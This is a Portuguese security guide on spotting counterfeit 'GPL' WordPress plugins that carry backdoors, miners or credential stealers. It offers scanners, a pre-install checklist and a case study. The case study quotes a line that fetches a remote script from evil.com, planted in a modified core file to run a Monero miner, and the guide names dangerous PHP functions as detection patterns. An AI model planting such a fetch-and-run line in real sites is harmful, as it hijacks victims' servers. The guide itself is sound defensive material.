Licenças GPL Falsas: Como Identificar Plugins WordPress Infectados Antes de Instalar
Você baixou um plugin premium com suposta licença GPL de um site desconhecido. Parece barato demais? Provavelmente é uma armadilha. Mais de 70% dos plugins GPL falsos contêm backdoors, miners de criptomoedas ou stealers de credenciais. Mas como distinguir um plugin legítimo de um infectado antes de instalá-lo? A resposta está na análise técnica do código-fonte e na verificação de assinaturas digitais.
1. Anatomia de um Plugin GPL Falso
Um plugin GPL falso geralmente mantém a funcionalidade original, mas insere código malicioso em arquivos estratégicos como wp-config.php, functions.php ou no próprio plugin.php. Os criminosos usam técnicas de ofuscação para esconder o payload: variáveis com nomes aleatórios (ex: $xYz_123), strings concatenadas com base64_decode ou eval embutidos em hooks do WordPress.
2. Ferramentas Essenciais para Verificar a Integridade
Não confie apenas em antivírus. Use ferramentas específicas:
– Plugin Check (WordPress.org): repositório oficial verifica padrões básicos, mas não detecta código malicioso avançado.
– Theme Authenticity Checker (TAC): scanner que busca por funções perigosas como base64_decode, system, exec.
– PHP Malware Scanner (como o Wordfence CLI): análise heurística de padrões de malware conhecidos.
– Diff comparativo: compare o hash MD5 do arquivo baixado com a versão original do repositório oficial. Se diferente, há adulteração.
3. Checklist de Segurança Pré-instalação
Antes de clicar em “Ativar”, execute estes passos:
1. Extraia o ZIP e procure por arquivos com extensão .php que não pertencem ao plugin (ex: wp-cron.php falso).
2. Verifique permissões de arquivo: se houver 777 em pastas críticas, é alerta.
3. Analise o readme.txt – versões de plugin falsas costumam ter data de modificação recente e changelog genérico.
4. Execute grep -r "base64_decode" no terminal; ocorrências em arquivos não oficiais indicam ofuscação.
5. Faça um scan com WPScan (modo vulnerabilidades) para ver se o plugin original tem falhas conhecidas – versões falsas muitas vezes não corrigem.
4. Caso Real: Plugin de SEO com Minerador de Monero
Um cliente meu baixou uma versão “GPL” de um conhecido plugin de SEO. Após a instalação, o servidor apresentou picos de CPU e a conta de hospedagem foi suspensa por mineração. Analisando o código, encontrei file_get_contents('https://evil.com/script.js') em um arquivo wp-blog-header.php modificado. O script carregava um minerador em segundo plano que consumia 90% da CPU.
5. O Papel da Hospedagem na Defesa
Hospedagens compartilhadas são mais vulneráveis. Invista em um host que ofereça WordPress Firewall (WAF) e scan de malware automatizado (ex: WP Engine ou Kinsta). Mas a responsabilidade final é sua: todo plugin baixado de fonte não oficial deve ser tratado como infectado até prova contrária.
6. Conclusão: Prefira a Dureza da Verdade
Licenças GPL legítimas permitem redistribuição, mas sites obscuros lucram com malware embutido. A única forma segura é verificar cada linha de código ou, melhor ainda, comprar diretamente do desenvolvedor. Não economize em segurança – o custo de um site comprometido é muito maior do que o preço de um plugin original.